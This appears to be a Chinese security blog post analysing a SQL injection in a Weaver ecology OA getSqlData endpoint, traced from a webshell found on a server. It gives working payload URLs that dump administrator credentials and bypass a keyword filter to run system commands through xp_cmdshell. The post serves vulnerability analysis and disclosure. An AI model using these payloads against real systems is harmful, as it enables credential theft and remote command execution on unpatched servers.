老树开新花,某OA getSqlData接口SQLi再利用

老树开新花,某OA getSqlData接口SQLi利用方式再升级,可直接执行命令。

0x01 序言

事情起源于在服务器上看到了命名随机的jsp文件,打开内容一看是webshell。
image.png
根据webshell修改时间,将当天的D:/WEAVER/Resin/logs/access.logD:/WEAVER/Resin/log/stderr.log取出来进行分析,以查找其利用路径。
在stderr.log中发现,攻击者利用SQL注入执行xp_cmdshell命令来上传的文件
image.png
存在SQL注入的mapper已经确定是GetSqlDataMapper.xml.于是便开启了对该漏洞的分析研究

0x02 getSqlData接口SQL注入分析

2.1 漏洞分析

首先来到GetSqlDataMapper.xml,看一下其SQL拼接情况,如下:
image.png
直接将传入的sql参数的值,作为SQL语句进行执行。向上寻找该mapper的调用过程。
image.png
继续寻找GetSqlDataMapper接口的调用者
classbean/com/engine/portal/cmd/elementecodeaddon/GetSqlDataCmd.class中,逻辑如下:
image.png
所以,可以认定此处存在SQL注入。然后我们寻找Web访问接口的位置,因为都是class搜索调用十分不方便,所以使用Windows命令搜索:

  1. findstr /c:"GetSqlDataCmd" /d:"D://WEAVER//ecology//classbean//" /si *.class

然后其调用关系:
image.png
所以,找到web入口

  1. /Api/portal/elementEcodeAddon/getSqlData?sql=

这个接口的SQL注入在互联网早已不稀奇,翻看了大多数利用方法都是SQL注入查信息,并没有使用xp_cmdshell获取权限的案例。

2.2 漏洞利用

2.2.1 查询管理员信息

这是往上比较常见的利用方法,可以通过执行SQL语句查询ecology的管理员账号密码,从而登录后台。
payload如下:
/Api/portal/elementEcodeAddon/getSqlData?sql=Select%20*%20from%20HrmResourceManager%20where%20loginid=%27sysadmin%27
image.png
然后利用账号密码登录后台
image.png

2.2.2 执行命令

ecology的数据库大多数是使用mssql的,而mssql在SQL注入中,常用于执行命令的是xp_cmdshell,加上该接口直接传入SQL语句,那么我们可以直接通过exec xp_cmdshell来执行命令。测试如下:
image.png
在ecology的《Ecology系统安全配置说明.docx》有做相关说明,如下:
image.png
所以带有xp_cmdshell是肯定会被拦截的,但是想到刚才分析漏洞时,传入的sql会以$进行分割。
image.png
那么,如果我传入exec xp_cmd$shell 'whoami';,则最终的语句会是:
image.png
所以,可以用该方法进行绕过。测试如下:
image.png
最终payload:

  1. /Api/portal/elementEcodeAddon/getSqlData?sql=exec%20xp_cmd$shell%20%27whoami%27;

当然要先激活xp_cmdshell,激活方法:
image.png

2.3 武器化

image.png

  • 发表于 2022-09-06 09:58:55
  • 阅读 ( 9318 )
  • 分类:漏洞分析

1 条评论

Alivin
Alivin

13 篇文章

站长统计